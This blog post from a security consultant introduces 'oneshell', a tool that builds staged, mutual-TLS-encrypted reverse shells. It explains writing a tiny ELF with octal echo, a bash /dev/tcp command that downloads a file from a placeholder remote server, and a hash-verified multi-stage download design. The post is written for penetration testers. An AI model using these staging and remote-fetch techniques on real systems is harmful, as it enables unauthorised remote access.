The reverse shell is a staple technique in the offensive security industry. The ability to convert a remote code execution vulnerability into a fully fledged interactive session is endlessly useful for enumeration, privilege escalation, and pivoting.

In this article I propose a new tool oneshell to solve some of the problems with existing tooling.

You would think the technique has been perfected over the years. Sites such as revshells.com can be used to generate a wide variety of payloads. However, anyone who has run a reverse shell before will be familiar with the following issues:

  • Each payload has different dependencies, for example bash, nc, python3, curl, wget, etc. This is particularly difficult when targeting servers using minimal Linux containers such as the popular Alpine Linux Docker container. This often means an attacker will have to try many payloads before they get a connection.
  • Most basic shells will be unencrypted TCP connections. This means malicious actors on the internet may be able to read any data you exfiltrate, or even worse, hijack your shell and compromise the victim you are targeting.

I just want to use the tool!

Check out the Github repository here: https://github.com/tantosec/oneshell/.

The journey begins

meme1

Before I jumped into designing my own tool, I wanted to look at some alternatives and see if they would work for me. My goals were simply to fix the pain points mentioned above, specifically

  • The payload should work regardless of the system it is run on (or at least it should work on a vast majority of systems). It would be nice to only have to try one payload.
  • The connection should be fully secured. An attacker with ownership of a network switch between you and the target should not be able to do anything other than reject your connection. Specifically, the attacker should not be able to
    • Read any shell commands sent or the responses to these commands
    • Hijack the shell and compromise the target
    • Pretend to be the client in the hope that the reverse shell owner will provide credentials, similar to a honeypot
  • The payload should be easy to use, for example I would like to be able to copy paste the payload into an exploit script I am using.

To achieve the second point I want to use Mutual TLS (MTLS) to secure the connection. It isn’t realistic to assume that the target will have a binary capable of using MTLS, so we will have to download it. A simple way of doing this is by using curl or wget.

The issue then becomes the dependency on curl or wget. The default Ubuntu Docker image does not contain either of these binaries by default. However, it is important to note that I did not list “stealth” as one of the goals. I don’t mind transmitting over TCP as long as the information is non confidential and is verified to prevent tampering.

Downloading and verifying using Bash

To download and verify a binary on a base ubuntu Docker image, we can make use of the /dev/tcp feature in bash as follows:

bash -c "cat < /dev/tcp/remoteserver/port > myfile"

We can then use a binary such as sha256sum (also included on base ubuntu) to verify the contents of the binary.

This solution is not perfect. It depends on bash, which is not present in alpine. Additionally sha256sum may not exist on minimal distributions.

But what if it was possible to bring our own versions of these binaries without outbound internet connectivity?

Writing a Tiny ELF file using echo

I found an interesting article about writing tiny Linux ELF (executable) files here. With these techniques, ELF files can be written as small as 114 bytes. This is small enough to be part of a copy pastable reverse shell payload. We can also trust the contents of this payload implicitly as it will be sent over the endpoint vulnerable to code execution.

The next problem is how to write the ELF to the disk without binaries. It turns out this is possible with the built in echo command:

sh-3.2$ echo '\0101\0102\0103' > a.elf
sh-3.2$ cat a.elf
ABC

The above command uses octal notation to write the data ABC to the a.elf file. With this technique, we can easily create non ASCII bytes without bad characters in the payload.

The only issue is that the inbuilt echo command differs in the bash and sh shells. bash only interprets these sequences when the -e flag is specified:

bash-3.2$ echo '\0101'
\0101
bash-3.2$ echo -e '\0101'
A

And if you specify -e when using sh, it returns it as part of the payload:

sh-3.2$ echo -e '\0101'
-e A

It would be nice to have a payload that works regardless of the current shell. We can achieve this by creating the following shell function:

zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;}

This shell function performs a check to see if the echo command accepts the -e argument, and if so, uses the argument. We can then use the zy function instead of echo to achieve consistent results.

Securing the connection

With this information we can create a minimal Linux binary that can connect to a TCP port and download a larger binary (the reverse shell payload itself). To secure the connection, we must also verify that this data has not been tampered with as we do not trust the raw TCP connection.

To do this, we can implement a hashing algorithm and compare the hash of the received data with the expected hash. The hashing algorithm should have a low size in bytecode to make the payload usable.

SHA256 is a secure hashing algorithm, however it results in a large binary size. Instead I chose the Treyfer algorithm to achieve the same result. Treyfer is an encryption algorithm but we can turn it into a hashing algorithm by implementing CBC-MAC.

Treyfer is vulnerable to some cryptoanalysis attacks due to its simplicity, however we can secure it by embedding the expected MAC, IV, and key inside the “echoified” binary. Under these conditions an attack would have to operate under the following circumstances:

  • The attacker would be able to modify the plaintext of the binary, but would have to do it in such a way that the CBC-MAC does not change from its original value.
  • The attacker would not have access to the IV and key used to create the MAC, or the MAC itself. (This also means they cannot bruteforce the encryption key)

If an attacker modifies any of the blocks in the chain, it will cause an avalanche effect on the rest of the payload causing the MAC to be invalid. Additionally, we fix the size of the payload, so the attacker cannot add or remove blocks.

For these reasons, I am convinced the implementation of this checksum is secure. However, I would love to be proven wrong, so if you find a flaw, please raise a Github Security issue!

Stager into a Stager

meme2

We have seen that we can use Treyfer CBC-MAC to verify our binary was downloaded correctly. To secure our connection, all we need to do is create a simple static binary that uses MTLS to run a reverse shell. However:

  • Our binary containing MTLS will be large, and Treyfer is a slow algorithm.
  • We need to give the client key for MTLS to the client, and if we are sending it in plaintext, it could be intercepted by attackers allowing the “honeypot” attack mentioned earlier.

To combat this, we will instead send another payload which will download, decrypt, and verify our final binary using AES GCM encryption. To do this, we need a secret key. We can simply reuse our key from the first binary to save storage, as it is never related to any data sent over raw TCP. Additionally, AES 128 is not feasibly bruteforcable, and our key is unique, meaning we can use a fixed IV too.

So to summarise, our process is as follows:

  • Send and run an initial payload using the echo command which:
    • Downloads stage 2 over TCP
    • Verifies stage 2 using Treyfer CBC-MAC
    • Runs stage 2
  • Stage 2 performs the following:
    • Extracts secret key from Stage 1
    • Downloads encrypted client
    • Decrypts and verifies client using AES GCM
    • Runs the client
  • The client performs the following:
    • Connects to the server using MTLS
    • Starts a shell over the connection

The result

This process is purely theoretical; it needs to be automated! I wrote the open source tool oneshell to automatically generate and host payloads for this attack. Below is a video showing an attacker (left side) gaining a reverse shell on the victim (right side) using oneshell:

Next steps

I would still like to add the following to this project:

  • Support for generating arm64 binaries, as this is the next most common CPU architecture after x86_64
  • Convenience parameter to use a ssh tunnel to port forward to the internet
  • Add an option to split the larger payload over multiple smaller payload for attacks which have a length limit
  • Optimise the initial payload size (it can be made much smaller)
  • Optimise the second payload size (remove standard library) to reduce time taken for Treyfer to verify

If you have more ideas, feel free to let me know through Github issues, or open a pull request!

About the Author

Daniel Cooper is a Security Consultant at Tanto Security. He is interested in web security research and playing in CTFs. You can connect with him on LinkedIn.